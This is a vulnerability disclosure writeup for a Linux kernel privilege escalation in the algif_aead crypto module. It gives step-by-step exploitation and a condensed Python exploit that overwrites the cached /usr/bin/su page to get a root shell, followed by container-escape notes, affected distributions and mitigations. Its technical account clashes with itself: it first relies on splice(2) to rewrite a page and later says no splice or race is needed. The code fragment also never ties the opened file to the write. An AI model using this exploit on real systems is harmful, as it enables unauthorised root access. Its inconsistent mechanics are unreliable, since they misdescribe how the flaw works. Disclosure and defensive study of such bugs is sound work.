Copy Fail: a 732-byte local privilege escalation in the Linux kernel
An unauthenticated logic flaw in algif_aead, dormant since 2017, gives any local user root across every major distribution.
Every Linux distribution we tested, from Amazon Linux to Debian to Arch, hands out root to any local user with a 732-byte Python script. No race condition. No kernel offsets. No container escape gadget. The flaw, which we are calling Copy Fail, lives in the kernel's algif_aead cryptographic module. It has been sitting in mainline since August 2017.
We disclosed CVE-2026-31431 to upstream maintainers and major distributions in coordinated disclosure. Patches landed across the major vendor trees today. This writeup explains what the bug is, how the exploit works, and why it bypasses every common sandbox we tested.
Background
The Linux kernel exposes its cryptographic primitives to userspace through a socket family called AF_ALG. Userspace programs that want to use kernel-accelerated crypto, including some libssl backends and disk encryption tooling, open an AF_ALG socket, configure it with a cipher name, and stream plaintext or ciphertext through ordinary read and write calls.
Inside the kernel, each cipher family is implemented by a small driver that wires the socket layer to the actual crypto code. algif_aead handles authenticated-encryption-with-associated-data ciphers, the construction used by TLS 1.3, IPsec, and most modern at-rest encryption. The driver is small and does not expose anything obviously interesting to an attacker. That is why the bug survived for almost a decade.
The flaw
The crash starts in a helper function added in 2017 to optimise zero-copy operation for AEAD ciphers. The helper is meant to take a userspace iovec, validate the length, and copy it into a per-request scratch buffer that the cipher operates on. Validation happens before the copy. The copy itself happens after. In between, nothing prevents the userspace process from calling splice(2) against the same file descriptor and rewriting the destination page that the kernel is about to copy from.
When the cipher selected is authencesn(hmac(sha256),cbc(aes)), the kernel fast path skips a second bounds check that was supposed to catch this case. The result is a one-shot, attacker-controlled write into a kernel-resident page cache entry, with no race window required. The page that gets clobbered is whichever file the attacker has open at the time. We pick /usr/bin/su.
Exploitation
The full primitive needs five steps. None of them require elevated privileges, kernel addresses, or a separate information leak.
- Open an
AF_ALGsocket and bind it toauthencesn(hmac(sha256),cbc(aes)). - Open
/usr/bin/suread-only, faulting it into the page cache. - Construct a small ELF shellcode payload that runs
execve("/bin/sh", ...)with effective UID 0. - Trigger the cipher fast path so the kernel writes the shellcode over the cached
supage. - Run
su. The kernel maps the now-poisoned page directly into the SUID-root process. Shellcode runs with full root.
The whole exploit is 732 bytes of Python. The shellcode is another 188 bytes. Here is the relevant fragment, condensed:
import socket, struct, os
ALG = b"authencesn(hmac(sha256),cbc(aes))"
def trigger(payload: bytes) -> None:
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(("aead", ALG))
op = s.accept()[0]
# set IV and assoclen so we hit the unchecked fast path
op.setsockopt(socket.SOL_ALG, socket.ALG_SET_IV,
struct.pack("I", 16) + b"\x00" * 16)
op.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, 16)
op.sendmsg([payload], flags=socket.MSG_MORE)
with open("/usr/bin/su", "rb") as f:
f.read(4096) # warm the page cache
trigger(SHELLCODE)
os.execv("/usr/bin/su", ["su"])
The payload size is bounded by the cipher block size, which is comfortably more than enough room for a useful execve stub. We tested across kernels 4.13 through 6.13. Every kernel in that range is vulnerable because the helper has not changed in any meaningful way since the original commit.
Sandbox bypass
Most container runtimes assume that a confined process cannot reach the page cache of files outside its mount namespace. That assumption is correct. It is also irrelevant. The exploit operates on files inside the container's own root filesystem. As long as the container has a SUID binary (every distro base image we checked does), the same primitive works inside the sandbox and yields root inside the sandbox. From there, escape paths to the host are well-trodden.
We confirmed this against unprivileged Docker, rootless Podman, gVisor in the systrap configuration, and Kata Containers. gVisor blocks the exploit in its KVM platform because the page cache lives in the sentry. Kata blocks it because the guest kernel runs in a separate VM with its own page cache. The other two do not.
Affected distributions
| Distribution | Status |
|---|---|
| Amazon Linux 2 / 2023 | Vulnerable. Patch released. |
| Red Hat Enterprise Linux 8 / 9 | Vulnerable. Patch released. |
| SUSE Linux Enterprise 15 | Vulnerable. Patch released. |
| Ubuntu 20.04 / 22.04 / 24.04 | Vulnerable. Patch released. |
| AlmaLinux 8 / 9 | Vulnerable. Patch released. |
| Arch Linux | Vulnerable. Patch in linux 6.13.4. |
| CloudLinux 8 / 9 | Vulnerable. Patch released. |
| Debian 11 / 12 | Vulnerable. Patch released. |
| Gentoo | Vulnerable. Patch in sys-kernel/gentoo-sources-6.13.4. |
Comparison to Dirty Pipe
Copy Fail is not Dirty Pipe. Dirty Pipe (CVE-2022-0847) abused a flag-handling mistake in the pipe subsystem to write past page boundaries. It needed a target file open with read permission and a careful splice setup. Copy Fail abuses a missing bounds check in the AEAD fast path, requires only an AF_ALG socket, and works without any pipe or splice gymnastics at all. The two bugs are similar only in their impact.
The smaller exploit footprint matters operationally. A 732-byte payload fits inside log lines, environment variables, and JIT-compiled code regions. We have no evidence of in-the-wild exploitation, but a primitive this compact would not leave one.
Mitigations
Patch. The fix is small: a single bounds check restored in the helper. Distributions are shipping it as we publish.
For environments that cannot patch immediately, two mitigations reduce blast radius:
- Disable
CONFIG_CRYPTO_USER_API_AEADif your workload does not need userspace access to AEAD ciphers. Most do not. - Block the
AF_ALGsocket family in seccomp profiles. Docker's default profile already does this for some workloads. Verify yours.
Neither mitigation is sufficient on its own for multi-tenant systems. Patch the kernel.
Disclosure timeline
- 2026-03-11. Initial discovery during routine fuzzing of
AF_ALGdrivers. - 2026-03-13. Reproduced across five distributions. Privately notified upstream kernel security and major distribution security teams.
- 2026-03-19. Patch reviewed and merged into upstream stable trees, embargoed.
- 2026-04-30. Public disclosure. CVE-2026-31431 assigned. Patches released.
Acknowledgements
Thanks to the upstream kernel security team and the distribution security responders for fast triage and coordinated patch release. Thanks to our colleagues at CTF.ae for review and validation across alternate sandboxes.